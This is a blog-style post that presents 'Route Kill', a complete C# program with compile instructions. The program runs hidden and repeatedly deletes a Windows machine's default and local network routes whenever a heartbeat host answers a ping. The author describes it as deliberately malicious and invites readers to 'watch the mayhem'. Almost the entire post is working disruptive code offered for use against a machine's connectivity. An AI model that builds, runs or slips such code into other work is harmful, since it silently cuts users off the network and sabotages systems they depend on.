Last time around, Route Kill was pretty simple, just misdirect a route. This time, I added a little more code flexibility, some minor network monitoring and a maliciousness not seen before. This time, it kills the route (deletes the route from the table), packets aren’t even misdirected, they go nowhere!
To get things ready for yourself, just edit the (routeWatcher)routeList in Main() to suit your network and requirements. Then run the following in the command line below and then just sit back and watch the mayhem.
cd C:\Windows\Microsoft.NET\Framework\v3.5 .\csc.exe /t:winexe /out:c:\routekill.exe C:\program.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Net.NetworkInformation;
using System.Threading;
namespace routeKill
{
class Program
{
static void Main(string[] args)
{
//We need two, one for the local tubes, and one for the intertubes.
routeWatcher[] routeList = new routeWatcher[2];
routeList[0] = new routeWatcher(new routeId("0.0.0.0", "24.217.29.127")); //24.217.29.127 = charter.com
routeList[0].onRouteActive += Program.killRoute;
routeList[1] = new routeWatcher(new routeId("192.168.1.0", "192.168.1.1"));
routeList[1].onRouteActive += Program.killRoute;
Thread[] rthread = new Thread[routeList.Length];
for (int i=0;i<routeList.Length; i++)
{
rthread[i] = new Thread(routeList[i].Start);
rthread[i].Start();
}
//A kill order for when you just don't want to get in there yourself.
//routekill.exe -timeout {Milliseconds}
System.Collections.Hashtable hargs = new System.Collections.Hashtable();
hargs.Add("timeout", Array.Find(args, (delegate(string s) { if (s.ToLower() == "-timeout") { return true; } return false; })));
if (hargs["timeout"] != null)
{
Thread.Sleep(int.Parse(hargs["timeout"].ToString()));
//Process.GetCurrentProcess().Kill();
foreach(Thread t in rthread) {
t.Abort();
}
}
return;
}
static void killRoute(routeId network)
{
Process a = new Process();
a.StartInfo.CreateNoWindow = true;
a.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
a.StartInfo.FileName = "route";
a.StartInfo.Arguments = string.Format("delete {0}", network.network);
a.Start();
a.Close();
}
}
class routeId
{
private string _network;
public string network
{
get { return this._network; }
}
private string _heartbeatIP;
public string heartbeatIP { get { return this._heartbeatIP; } }
public routeId(string network)
{
this._network = network;
}
public routeId(string network, string heartbeat)
{
this._network = network;
this._heartbeatIP = heartbeat;
}
}
class routeWatcher
{
public delegate void RouteActive(routeId network);
public event RouteActive onRouteActive;
private routeId network;
public routeWatcher(routeId network)
{
this.network = network;
}
public void Start()
{
System.Net.NetworkInformation.Ping a;
while (true)
{
a = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply ar = a.Send(this.network.heartbeatIP);
if (ar.Status.Equals(System.Net.NetworkInformation.IPStatus.Success))
{
//RouteActive(this.network);
if(this.onRouteActive != null) this.onRouteActive(this.network);
}
Thread.Sleep(1000);
}
}
}
}

